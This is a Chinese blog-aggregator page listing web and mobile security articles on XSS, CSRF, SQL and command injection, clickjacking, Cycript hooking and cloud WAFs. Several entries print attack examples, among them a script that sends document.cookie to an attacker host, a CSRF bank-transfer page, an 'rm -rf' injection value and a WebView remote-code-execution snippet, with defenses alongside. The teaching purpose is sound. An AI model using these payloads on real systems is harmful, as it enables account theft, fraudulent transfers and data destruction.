首页 文章 精选 留言 我的

精选列表

搜索[实战攻防],共10000篇文章
优秀的个人博客,低调大师

移动APP反外挂攻防实战

**> 前言 ** 近日,某某龙在2018年的一次会议上发表了一个演讲,4000多人聚集在现场玩“跳一跳”游戏。随着他们指尖的翻飞跳跃,大屏幕上的现场排名也在不断刷新……而在全场的惊叹声中,最高分出现了,967分!而这位最高分得主,就是某某龙本人。在随后的演讲中,某某龙也表示,这款DAU在一点几个亿的小游戏,网上居然出现了非常多的外挂。笔者以“跳一跳”为关键词在全球最大的同性社交平台github上进行搜索,居然有650个搜索结果。这些外挂,大多数都是以图像识别为基础的游戏辅助程序。利用这些外挂,玩家们可以很轻松的跳到几千分,甚至上万分。 同样,在2018年1月23日举办的阿里游戏云“棋牌X安全”技术分享沙龙的活动现场,阿里巴巴集团安全部专家陵轩也对游戏从业者深恶痛绝的外挂问题进行了详细的解读,并针对反外挂提出了阿里的最新解决方

优秀的个人博客,低调大师

USB口攻防实战:企业U盘管控的技术落地与避坑指南

企业信息化运维里,U盘管控永远是最容易引发矛盾的难题。行政部门追求零风险,希望一刀切全面禁用;业务部门聚焦生产效率,图纸、物料参数、生产数据全靠U盘摆渡,一旦封禁直接影响生产交付;信息安全部门夹在中间左右为难,最终大多只能在制度上写下“原则上不建议使用U盘”,放任终端、打印机旁的私人U盘随意接入,埋下无数数据安全隐患。

优秀的个人博客,低调大师

重保服务验收与演练实战:重保服务、攻防演练、应急响应与安全意识培训职责边界解析

重大活动是每个企业发展与拓展过程中不可或缺的重要环节。然而,如何保障重大活动的网络安全,成为企业工程师绕不开的话题。真正难处理的地方并不是方案的缺失,而是区分出哪些风险要在活动前暴露,哪些告警需要持续值守,发生事件后谁有权处置,业务、运维和安全人员能否按照同一套升级路径协作等。

优秀的个人博客,低调大师

筑牢"认知防线":Agent安全攻防、注入防御与红队工程实战

2026年8月,AI Agent已深度接入企业核心系统,但"认知层攻击"正成为比传统网络攻击更隐蔽的威胁。OWASP最新报告显示,83%的生产级Agent在过去12个月内遭遇过至少一次Prompt注入或越权工具调用尝试,其中31%未被现有防护拦截。行业共识转向:Agent安全不能仅靠输入过滤,而需纵深防御——意图层识别恶意指令、权限层最小化工具访问、行为层实时检测异常模式。可验证、可审计、可对抗的安全架构,已成为智能体赢得企业信任的生存底线。

优秀的个人博客,低调大师

iOS攻防:Cycript攻·防

简介 Cycript允许开发人员探讨和修改iOS和Mac OS X上运行的应用程序。 Cycript是一个理解Objective-C语法的javascript解释器,它能够挂钩正在运行的进程,能够在> 运行时修改应用的很多东西。 能够挂钩正在运行的进程,并且找出正被使用的类信息,例如view controllers,内部和第三方库,甚至程序的delegate的名称。 对于一个特定的类,例如View Controller, App delegate或者任何其他的类,我们能够得到所有被使用的方法名称。 能够得到所有实例变量的名称和在程序运行的任意时刻实例变量的值。 能够在运行时修改实例变量的值。 能够执行Method Swizzling,例如替换一个特定方法的实现。 可以在运行时调用任意方法,即使这个方法目前并不在应用的实际代码当中。 Cycript安装 在这里下载 http://www.cycript.org/ 在这里阅读所有Cycript诡计 http://top.jobbole.com/crawler/ 攻 先看看怎么用Cycript干点坏事吧 1. 给应用弹一个莫名其妙的alert ssh登陆你的手机(如果不会,上一篇有~) 找一个app 这里我找的是以前做的一个app psaux|grepblackwidow print mobile4666.67.050841636204??Ss11:22AM0:09.65/xxxx/blackwidow 这样知道进程号是466 hock住 cycript-p466 如果你看到出现了cy#,说明你可以开始编写Cycript代码了 alert //找到widnow varwindow=[UIApplicationsharedApplication].keyWindow; //初始化一个alert varalert=[[UIAlertViewalloc]initWithTitle:@"hackyou"message:@"hackyou"windowcancelButtonTitle:@"cancel"otherButtonTitles:@"yes",nil]; //弹出来吧 [alertshow]; 2. 探索一个app functionprintMethods(className){ varcount=newnewType("I"); varmethods=class_copyMethodList(objc_getClass(className),count); varmethodsArray=[]; for(vari=0;i varmethod=methods[i]; methodsArray.push({selector:method_getName(method),implementation:method_getImplementation(method)}); } free(methods); returnmethodsArray; } 调用一下: printMethods(AppDelegate) 输出结果: 是不是觉得发生了很可怕的事情?该有的都被打印出来了。 你还可以通过试探的方式找出每一个Controller的名字,例如: insert varhomeVC=[[[[[UIApplicationsharedApplication]keyWindow]subviews]objectAtIndex:0]nextResponder]; print #"<HomePageTabBarViewController:0x156cf200>" insert varpage0VC=[homeVC.childViewControllersobjectAtIndex:3] print #"<BaseNavigationController:0x156decc0>" insert varmeVC=page0VC.topViewController print varmeVC=page0VC.topViewController 这样,我们就找到了『我的』页面所属Controller。 查看所有的方法: printMethods(MeViewController) 改个标题试试: [meVCsetCurrentTitle:@"hackyou"]; 效果如下: 试想一下,如果MeViewController中或者LoginViewController中有一个方法叫getUserInfo,那么通过Cycript就可以轻而易举的拿到用户信息。 不过Cycript在这里最主要的作用还是偷窥APP和调试APP。 当然,好玩的方法还有很多。 防 知道了Cycript的可怕,在有重要信息藏在代码中的时候,我们也得学会如何放置Cycript修改运行时。 本文作者:佚名 来源:51CTO

优秀的个人博客,低调大师

有趣的代码攻防战

image 写在前面 今天这篇文章,是一篇关于代码安全的内容。大部分内容可能对于现在来说都已经很小儿科了。但是我在了解这方面的内容时,着实还是被这些前辈们脑洞大开的手段所折服。 所以今天就特地盘点了一些比较出名的漏洞问题。 漏洞大盘点 Android-WebView addJavascriptInterface接口引起远程代码执行漏洞 此问题在4.2以后的版本被修复了 我们Native和Js互相通讯,可能会这么写我们本地的Java代码: webView.addJavascriptInterface(new JSObject(), "mJSObject"); 这段代码是不是挺正常的?的确挺正常呐。如果我们用民主富强文明和谐的眼光去看,的确没问题。不过如果我们怀着一颗搞破坏的心呢? 我们既然能拿到这个Java对象,那么对于我们来说,我们可以使用反射为所欲为了。(这个问题,乌云曾给出过明确的漏洞描述) function execute(cmdArgs){ for (var obj in window) { if ("getClass" in window[obj]) { alert(obj); return window[obj].getClass().forName("java.lang.Runtime") .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } } } 不需多解释吧,这是当前很著名的WebView漏洞问题。 1,WebView添加了JavaScript对象,并且当前应用具有读写SDCard的权限。 2,JS中可以遍历window对象,找到存在“getClass”方法的对象的对象,然后再通过反射的机制,得到Runtime对象,然后调用静态方法来执行一些命令,比如访问文件的命令. 3,再从执行命令后返回的输入流中得到字符串,就可以得到文件的信息了。(理论上SD卡的所有内容都可以拿到了) 暴力攻击 臭名昭著-DoS攻击 拒绝服务(DoS)攻击,可以说是名声很响的暴力攻击方式。 最常见的DoS攻击有对计算机网络的带宽攻击和连通性攻击。带宽攻击指以极大的通信量冲击网络,使得所有可用网络资源都被消耗殆尽,最后导致合法的用户请求无法通过。连通性攻击指用大量的连接请求冲击计算机,使得所有可用的操作系统资源都被消耗殆尽,最终计算机无法再处理合法用户的请求。 哈希碰撞攻击 哈希碰撞是一种有趣的攻击方式。对方可以轻易消耗系统有限的CPU和线程资源。从这个角度思考,类似加密、解密、图形处理等计算密集型任务,都要防范被恶意滥用,以免攻击者通过直接调用或者间接触发方式,消耗系统资源。 比如在Java中,有一个有趣的攻击方式: 攻击者可以事先构造大量相同哈希值的数据,然后以Json数据的形式发送给服务器端,服务器端在将其构建成为 Java 对象过程中,通常以Hastable或HashMap等形式存储,哈希碰撞将导致哈希表发生严重退化,算法复杂度可能上升一个数量级(HashMap1.8之后在红黑树结构的优化,也是应对此问题的优化),进而耗费大量CPU资源。冲突多了,就会极大的降低get的性能,造成极严重的卡顿,甚至服务器崩掉~ 代码漏洞 不安全的代码-注入式攻击 注入式(Inject)攻击是一类非常常见的攻击方式,其基本特征是程序允许攻击者将不可信的动态内容注入到程序中,并将其执行,这就可能完全改变最初预计的执行过程,产生恶意效果。 1、XSS 1.1、反射型 XSS(非持久性跨站攻击) 一般是利用网站某些页面会直接输出请求参数的特性,通过在 url 的请求参数包含恶意脚本,导致用户打开该 url 的时候,执行恶意脚本。 例:http://localhost:8080/test.jsp?abc= <script>alert(“123”) </script> 用户在访问这个页面的时候,就会触发弹窗。 当然,一般的 XSS 攻击不会这么简单的就让你弹个窗,甚至可能弹出你的cookie信息。 1.2、存储型 XSS(持久性跨站攻击) 该种类型的攻击一般是通过表单输入(比如发布文章、回复评论等功能中)插入一些恶意脚本,并且保存到数据库,待其他用户加载对应的页面的时候,该段脚本就会被加载并执行。 与反射型 XSS 相比,该类的攻击更具有危害性,因为它影响的不只是一个用户,而是大量用户,而且该种类型还可进行蠕虫传播;就如之前的贴吧和微博事件,用户访问了含有恶意脚本的页面,用户的cookie信息被盗取了,并且立刻使用用户的账户去发表新的帖子或微博同时注入恶意脚本,使得该恶意脚本不断被传播下去。 1.3、DOM Based XSS(基于 Dom 的跨站点脚本) 基于 DOM 的跨站点脚本与前面两种类型有什么区别呢?其实它注入的方式是基于前面两种类型的方式的,只不过是注入的脚本是通过改变DOM来实施的。 采用该种方式有一个好处就是从源代码中不易被发现而已。 如何去防护 XSS 基于上面漏洞产生的原因,我们若要想防御该种攻击,就需要从源头抓起(用户输入),制定一套合理且安全的 XSS 过滤规则。 以下介绍一些过滤方法 对 HTML 标签及一些特殊符号进行转义 该种方法是一种非常简单的过滤方法,仅仅是通过转义的方式将一些 HTML 标签和属性转义,比如 < 转义成 &lt ;, 这样像<script>xxx</script>的脚本就运行不了。当然简单的过滤方式也就代表很容易就会被绕过。 另外如果需要使用含有富文本的功能时,使用这样的过滤就会使富文本失去作用。 使用白名单、黑名单的方式进行过滤 白名单、黑名单顾名思义是要定义哪些东西是可通过的,哪些东西不可通过。比如常见<b>、<p>; 、<等等标签,不可通过的比如 javascript、<a>、<script>、<iframe>、onload 等等一些属性,将其进行转义。 当然使用该种方法也有自身的缺点,你并不可能穷举出所有元素,也可能会某些元素在黑名单内,但在某些情况它是需要使用的,这就需要我们在设计 XSS 过滤器的时候权衡好,取最合理最适合需求的设计。 image 2、SQL注入 首先,就是最常见的SQL注入攻击。一个典型的场景就是Web系统的用户登录功能,根据用户输入的用户名和密码,我们需要去后端数据库核实信息。 假设应用逻辑是,后端程序利用界面输入动态生成类似下面的 SQL,然后让 JDBC 执行。Select * from use_info where username = “input_usr_name” and password = “input_pwd” 但是,如果我输入的 input_pwd 是类似下面的文本,“ or “”=” 那么,拼接出的 SQL 字符串就变成了下面的条件,OR 的存在导致输入什么名字都是复合条件的。Select * from use_info where username = “input_usr_name” and password = “” or “” = “” 这个例子,各位小伙伴们应该很容易能够理解到它的攻击性。上面例子中,程序期望用户输入一个数值,但实际输入的则是SQL语句片段。 根据这个套路,我们就可以注入很多很骚的SQL片段了,比如删库,跑路之类的~ 3、操作系统命令注入 操作系统命令注入。 比如:Java 语言提供了类似Runtime.exec(…)的API,可以用来执行特定命令,假设我们构建了一个应用,以输入文本作为参数,执行下面的命令:ls –la input_file_name 但是如果用户输入是: input_file_name;rm –rf/* 那将是毁灭性的打击,但是编程语言本身是做了很多的限制,这些操作未必可以真的能够完成攻击,但是这种隐患终究还是存在的。 预防注入式攻击 在 Java 应用进行数据库访问时,如果不用完全动态的SQL,而是利用PreparedStatement,可以有效防范 SQL 注入。不管是SQL注入,还是OS命令注入,程序利用字符串拼接生成运行逻辑都是个可能的风险点! 在数据库层面,如果对查询、修改等权限进行了合理限制,就可以在一定程度上避免被注入删除等高破坏性的代码。 image 网络传输 防不胜防 - 中间人攻击 中间人攻击原理大概是用户在正常上网的时候,同网段的恶意用户对其进行欺骗。恶意用户向局域网广播:我是路由器,然后正常用户(电脑无防御)收到以后认为恶意用户就是路由器,然后向恶意用户发送数据包,恶意用户可以截获数据包,再向路由器发送正常用户的数据包,路由器将返回的数据包在给恶意用户,恶意用户在给正常用户,恶意用户就形成了中间人的效果,可以向返回的数据包注入html代码,达到劫持用户网站的效果,不过现在大部分的网站都是https且双向认证,比较难获取到用户发送数据包中的账号密码。 CSRF攻击 CSRF,全名:Cross site Request Forgery(跨站域请求伪造)。一般的攻击方式是,通过请求伪造盗取用户的cookie信息,进而进行操作。 1、首先用户A请求登陆了服务器B,这时服务器 B 响应了用户A,并且会返回唯一标识的该用户的 cookie 信息。 2、用户A在未退出服务器B时(即仍与服务器 B保持会话状态),访问了带有恶意脚本的服务器 C,服务器 C 响应给用户 A 一个恶意页面,并且通过恶意脚本伪装用户 A 向服务器 B 发送请求,此时服务器 B 误以为是用户 A 请求,故响应并返回了用户 A 的 cookie 信息。 3、服务器 C 收到用户 A 与 服务器 B 的cookie信息后,保存起来,并利用该信息伪装成用户 A 去访问服务器 B,再进行相应的破坏~ 尾声 这部分内容,其实并非是对深层技术的讨论。只是最近无意中看到这部分的内容,感觉很有趣就收集起来写了这篇文章,算是忙碌的工作之中娱乐一下吧~ 这里是一帮应届生共同维护的公众号,内容是我们在从应届生过渡到开发这一路所踩过的坑,以及我们一步步学习的记录,如果感兴趣的朋友可以关注一下,一同加油,一同努力!! 个人公众号:IT面试填坑小分队

优秀的个人博客,低调大师

Web安全的三个攻防姿势

关于Web安全的问题,是一个老生常谈的问题,作为离用户最近的一层,我们大前端确实需要把手伸的更远一点。 我们最常见的Web安全攻击有以下几种: ●XSS 跨站脚本攻击 ●CSRF 跨站请求伪造 ●clickjacking 点击劫持/UI-覆盖攻击 下面我们来一一分析。 XSS 跨站脚本攻击 跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。 分类: 1. Reflected XSS(基于反射的XSS攻击) 2. Stored XSS(基于存储的XSS攻击) 3. DOM-based or local XSS(基于DOM或本地的XSS攻击) Reflected XSS(基于反射的XSS攻击) 主要通过利用系统反馈行为漏洞,并欺骗用户主动触发,从而发起Web攻击。 举个栗子: 1- 假设,在严选网站搜索商品,当搜索不到时站点会做“xxx未上架提示”。如下图。 2- 在搜索框搜索内容,填入“<script>alert('xss')</script>”, 点击搜索。 3- 当前端页面没有对填入的数据进行过滤,直接显示在页面上, 这时就会alert那个字符串出来。 (当然上图是模拟的) 以上3步只是“自娱自乐”,XSS最关键的是第四步。 4- 进而可以构造获取用户cookies的地址,通过QQ群或者垃圾邮件,来让其他人点击这个地址: http://you.163.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script> 5- 如果受骗的用户刚好已经登录过严选网站,那么,用户的登录cookie信息就已经发到了攻击者的服务器(xss.com)了。当然,攻击者会做一些更过分的操作。 Stored XSS(基于存储的XSS攻击) Stored XSS和Reflected XSS的差别就在于,具有攻击性的脚本被保存到了服务器并且可以被普通用户完整的从服务的取得并执行,从而获得了在网络上传播的能力。 再举个栗子: 1- 发一篇文章,里面包含了恶意脚本 你好!当你看到这段文字时,你的信息已经不安全了!<script>alert('xss')</script> 2- 后端没有对文章进行过滤,直接保存文章内容到数据库。 3- 当其他读者看这篇文章的时候,包含的恶意脚本就会执行。 tips:文章是保存整个HTML内容的,前端显示时候也不做过滤,就极可能出现这种情况。此问题多从在于博客网站。 如果我们的操作不仅仅是弹出一个信息,而且删除一篇文章,发一篇反动的文章,或者成为我的粉丝并且将这篇带有恶意脚本的文章转发,这样是不是就具有了攻击性。 DOM-based or local XSS(基于DOM或本地的XSS攻击) DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。 DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。 可能触发DOM型XSS的属性: document.referer属性 window.name属性 location属性 innerHTML属性 documen.write属性 ······ 总结 XSS攻击的本质就是,利用一切手段在目标用户的浏览器中执行攻击脚本。 防范 对于一切用户的输入、输出、客户端的输出内容视为不可信,在数据添加到DOM或者执行了DOM API的时候,我们需要对内容进行HtmlEncode或JavaScriptEncode,以预防XSS攻击。 CSRF 跨站请求伪造 CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。但往往同XSS一同作案! 此下的详解部分转自hyddd的博文: http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html,示例写的很赞就部分誊抄至此,并做了一定的修改,向作者hyddd致敬&致谢。 CSRF可以做什么? 你可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全。 CSRF漏洞现状 CSRF这种攻击方式在2000年已经被国外的安全人员提出,但在国内,直到06年才开始被关注,08年,国内外的多个大型社区和交互网站分别爆出CSRF漏洞,如:NYTimes.com(纽约时报)、Metafilter(一个大型的BLOG网站),YouTube和百度HI......而现在,互联网上的许多站点仍对此毫无防备,以至于安全业界称CSRF为“沉睡的巨人”。 CSRF的原理 下图简单阐述了CSRF攻击的思想: 从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤: ●登录受信任网站A,并在本地生成Cookie。 ●在不登出A的情况下,访问危险网站B。 看到这里,你也许会说:“如果我不满足以上两个条件中的一个,我就不会受到CSRF的攻击”。是的,确实如此,但你不能保证以下情况不会发生: ●你不能保证你登录了一个网站后,不再打开一个tab页面并访问另外的网站。 ●你不能保证你关闭浏览器了后,你本地的Cookie立刻过期,你上次的会话已经结束。(事实上,关闭浏览器不能结束一个会话,但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了......) ●上图中所谓的攻击网站,可能是一个存在其他漏洞的可信任的经常被人访问的网站。 示例 上面大概地讲了一下CSRF攻击的思想,下面我将用几个例子详细说说具体的CSRF攻击,这里我以一个银行转账的操作作为例子(仅仅是例子,真实的银行网站没这么傻:>) 示例1 银行网站A,它以GET请求来完成银行转账的操作,如:http://www.mybank.com/Transfe... 危险网站B,它里面有一段HTML的代码如下: <img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000> 首先,你登录了银行网站A,然后访问危险网站B,噢,这时你会发现你的银行账户少了1000块...... 为什么会这样呢?原因是银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的之前,你已经登录了银行网站A,而B中的以GET的方式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站A的Cookie发出Get请求,去获取资源 http://www.mybank.com/Transfer.php?toBankId=11&money=1000 结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立刻进行转账操作...... 示例2 为了杜绝上面的问题,银行决定改用POST请求完成转账操作。 银行网站A的WEB表单如下: <form action="Transfer.php" method="POST"> <p>ToBankId: <input type="text" name="toBankId" /></p> <p>Money: <input type="text" name="money" /></p> <p><input type="submit" value="Transfer" /></p> </form> 后台处理页面Transfer.php如下: <?php session_start(); if (isset($_REQUEST['toBankId'] && isset($_REQUEST['money'])) { buy_stocks($_REQUEST['toBankId'], $_REQUEST['money']); } ?> 危险网站B,仍然只是包含那句HTML代码: <img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000> 和示例1中的操作一样,你首先登录了银行网站A,然后访问危险网站B,结果.....和示例1一样,你再次没了1000块~TT,这次事故的原因是:银行后台使用了$REQUEST去获取请求的数据,而$REQUEST既可以获取GET请求的数据,也可以获取POST请求的数据,这就造成了在后台处理程序无法区分这到底是GET请求的数据还是POST请求的数据。在PHP中,可以使用$GET和$_POST分别获取GET请求和POST请求的数据。在JAVA中,用于获取请求数据request一样存在不能区分GET请求数据和POST数据的问题。 示例3 经过前面2个惨痛的教训,银行决定把获取请求数据的方法也改了,改用$_POST,只获取POST请求的数据,后台处理页面Transfer.php代码如下: <?php session_start(); if (isset($_POST['toBankId'] && isset($_POST['money'])) { buy_stocks($_POST['toBankId'], $_POST['money']); } ?> 然而,危险网站B与时俱进,它改了一下代码: <html> <head> <script type="text/javascript"> function steal() { iframe = document.frames["steal"]; iframe.document.Submit("transfer"); } </script> </head> <body onload="steal()"> <iframe name="steal" display="none"> <form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php"> <input type="hidden" name="toBankId" value="11"> <input type="hidden" name="money" value="1000"> </form> </iframe> </body> </html> 如果用户仍是继续上面的操作,很不幸,结果将会是再次不见1000块......因为这里危险网站B暗地里发送了POST请求到银行! 总结一下上面3个例子,CSRF主要的攻击模式基本上是以上的3种,其中以第1,2种最为严重,因为触发条件很简单,一个就可以了,而第3种比较麻烦,需要使用JavaScript,所以使用的机会会比前面的少很多,但无论是哪种情况,只要触发了CSRF攻击,后果都有可能很严重。 理解上面的3种攻击模式,其实可以看出,CSRF攻击是源于WEB的隐式身份验证机制!WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的! 当前防御 CSRF 的几种策略 在业界目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。下面就分别对这三种策略进行详细介绍。 验证 HTTP Referer 字段 利用HTTP头中的Referer判断请求来源是否合法。 优点:简单易行,只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统,不需要改变当前系统的任何已有代码和逻辑,没有风险,非常便捷。 缺点: 1、Referer 的值是由浏览器提供的,不可全信,低版本浏览器下Referer存在伪造风险。 2、用户自己可以设置浏览器使其在发送请求时不再提供 Referer时,网站将拒绝合法用户的访问。 在请求地址中添加 token 并验证 在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中,以HTTP请求参数的形式加入一个随机产生的 token交由服务端验证 优点:比检查 Referer 要安全一些,并且不涉及用户隐私。 缺点:对所有请求都添加token比较困难,难以保证 token 本身的安全,依然会被利用获取到token 在 HTTP 头中自定义属性并验证+One-Time Tokens 将token放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 的异步请求交由后端校验,并且一次有效。 优点:统一管理token输入输出,可以保证token的安全性 缺点:有局限性,无法在非异步的请求上实施 点击劫持 点击劫持,英文名clickjacking,也叫UI覆盖攻击,攻击者会利用一个或多个透明或不透明的层来诱骗用户支持点击按钮的操作,而实际的点击确实用户看不到的一个按钮,从而达到在用户不知情的情况下实施攻击。 这种攻击方式的关键在于可以实现页中页的iframe 标签,并且可以使用css样式表将他不可见 如以上示意图的蓝色层,攻击者会通过一定的手段诱惑用户“在红色层”输入信息,但用户实际上实在蓝色层中,以此做欺骗行为。 拿支付宝做个栗子 上图是支付宝手机话费充值的界面。 再看看一下界面 是的,这个是我伪造的,如果我将真正的充值站点隐藏在此界面上方。我想,聪明的你已经知道clickjacking的危险性了。 上图我估计做了一下错位和降低透明度,是不是很有意思呢?傻傻分不清的用户还以为是领取了奖品,其实是给陌生人充值了话费。 这种方法最常见的攻击场景是伪造一些网站盗取帐号信息,如支付宝、QQ、网易帐号等帐号的账密 目前,clickjacking还算比较冷门,很多安全意识不强的网站还未着手做clickjacking的防范。这是很危险的。 防范 防止点击劫持有两种主要方法: X-FRAME-OPTIONS X-FRAME-OPTIONS是微软提出的一个http头,指示浏览器不允许从其他域进行取景,专门用来防御利用iframe嵌套的点击劫持攻击。并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。 这个头有三个值: DENY // 拒绝任何域加载 SAMEORIGIN // 允许同源域下加载 ALLOW-FROM // 可以定义允许frame加载的页面地址 顶层判断 在UI中采用防御性代码,以确保当前帧是最顶层的窗口 方法有多中,如 top != self || top.location != self.location || top.location != location 有关Clickjacking防御的更多信息,请参阅Clickjacking Defense Cheat Sheet:https://www.owasp.org/index.php/ClickjackingDefenseCheat_Sheet 原文发布时间为:2018-08-26 本文作者:zwwill_木羽 本文来自云栖社区合作伙伴“Java架构沉思录”,了解相关信息可以关注“Java架构沉思录”。

优秀的个人博客,低调大师

Web应用安全--攻防对抗发展趋势

Struts2 S2-032让安全的江湖又掀起了一阵腥风血雨,很多网站纷纷中招,被黑客入侵造成了各种重大损失。从历史 Struts2 漏洞爆发数据看,此前每次漏洞公布都深度影响到了政府、银行、证券、保险等行业,这次也不例外。网站的Web安全一直是一个大众密切关注的方向,接下来我们聊聊这个话题。 超过半数的网站Web应用数据遭受泄露、造成重大财务损失; 企业网站安全事件频发、遭黑客勒索与竞争对手恶意攻击; 越来越多的网站开始将业务接入到云计算服务中、充分利用云的计算优势和便利; 网站的管理者都开始关注网站安全,会使用安全产品进行防护。 企业面临的挑战 每天曝光的Web漏洞、危害性大、影响面广,如何保持实时的更新? 不断的收到大量的安全告警日志、但不知如何下手? 被第三方漏洞平台曝光网站安全隐患,防不胜防? 海量肉鸡攻击下网站的页面显示很慢甚至无法打开、无能为力? 攻击从传统Web攻击跨越到业务场景、如撞库、抓取数据、短信接口滥用等,束手无策? 解决方案 WAF(Web应用防火墙)作为一款成熟的网站防护产品、已成为企业为Web应用提供安全防护的必备利器。它能够抵御定向的Web技术攻击、部分业务逻辑攻击以及海量肉鸡的恶意访问。通过对Web应用的深入解析和检测, 能够阻拦SQL注入、跨站脚本攻击,阻止恶意扫描等常见Web攻击并提供修补漏洞的能力。 云安全下的新特性 WAF作为一款传统的安全防护产品,已经发展多年。但近年来,随着云计算市场的火热,WAF有了一种新的接入方式:云部署。通过简单的DNS记录变更,将流量引入到云端防护集群,经过安全防护检测后,将安全流量回源到服务器。相比于传统的防护手段,它有如下特点: 产品+数据+运营,三位一体综合、实现最佳防护效果。传统的安全防护模式仅是提供形形色色的产品。但绝不仅仅是买了个安全产品就搞定了一切。安全是需要不断的大数据分析模型、自适应的调整防护策略应对不断变化的安全趋势;需要不断的对产品进行精细化的运营。阿里云在数据和运营上有着先天的巨大优势,客户要做的,就是关于自身业务,安全交给我们。 零部署、零安装、五分钟接入、快速稳定。仅需简单的变更、无需繁琐的机房布线、机器上架等操作、即可快速享受安全防护。同时多集群部署保障业务稳定不受影响。 实时防护0day漏洞。云上安全专家实时监控、针对漏洞的防护规则云端瞬时下发、无需传统模式下的复杂升级流程。 防护能力自动扩展、与云上网站共享。云上用户包括淘宝、支付宝等生成的防护规则,百万级的恶意IP信誉库、恶意样本等,均自动覆盖到您的网站。 集群弹性扩容、轻松应对海量业务下的防护。传统的防护模式、很难满足业务突增(如秒杀促销活动)、海量肉鸡攻击的场景,而云计算时代下的弹性扩容及大数据学习能力、将这些不可能都变成了过去。 在业务上,结合反欺诈、风控、人机识别等相关技术,在不修改应用代码的情况下,完美的实现防撞库、防爬防抓、接口滥用等业务防护需求;在产品的结合上,无论是和CDN的联动打造安全的加速流量,还是和云解析的一键开通,无缝融合、满足用户业务的各种使用场景。 云WAF发展的新道路 诚然,曾经的云WAF也有被人诟病之处,比如说攻击者可以绕过WAF直接访问源站地址进行定向攻击;业务误漏报后、不能很好的支持网站的规则自定义;数据的隐私泄露,HTTPS业务下私钥的安全性等。但经过这几年技术的发展,这些都变成了历史,不再是云WAF的弱点、取而代之的是下面的变革: 合规。积极的完成PCI-DSS认证需求,满足企业对数据安全性的要求。针对数据库的注入抓取等非授权行为做到安全防护,避免数据泄露。针对企业对HTTPS业务下的私钥安全顾虑,推出Keysafe方案,无需上传私钥,同时支持对加密流量的安全防护。 严密。针对以往的指定源站IP进行定向攻击绕过、一方面可在源站服务器上做安全准入控制、只允许云WAF的IP访问,其余定向的访问一律禁止;另一方面将站点流量全部置身于云WAF的防护中、实现网站的隐身,避免真实地址的暴露。 省心。充分利用云计算的大数据优势、建立起网站的正常模型。能够清晰的梳理出网站的正常业务请求模型、让0day漏洞无从绕过,正常的业务请求不被误阻断。网站接入初期开启预警模式、保障线上业务的正常运行、在最短时间内让网站维护者清晰的清楚业务误漏报概况。 全面。高性能SSL支持,数据链路加密。防护能力更多的覆盖到如撞库、接口滥用、业务欺诈、风控识别等业务场景中。 贴心。针对站点、URL等定制各种精细化的防护策略;提供友好可自定义的出错、拦截页面;给予网站用户最好的使用体验。一切皆可定制,打造成你自己想要的那一个。 对于数据隐私要求性非常高的金融行业,WAF是必备的防护利器。阿里云WAF除了支持云内客户的网站安全防护,也支持云外客户的安全需求,通过DNS切换轻松一键接入。除此之外、阿里云安全为金融行业还可以提供各类安全服务(如白盒测试、黑盒测试、渗透测试、移动应用测试等),全力为客户打造安全的解决方案。本文转自d1net(转载)

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

WebStorm

WebStorm

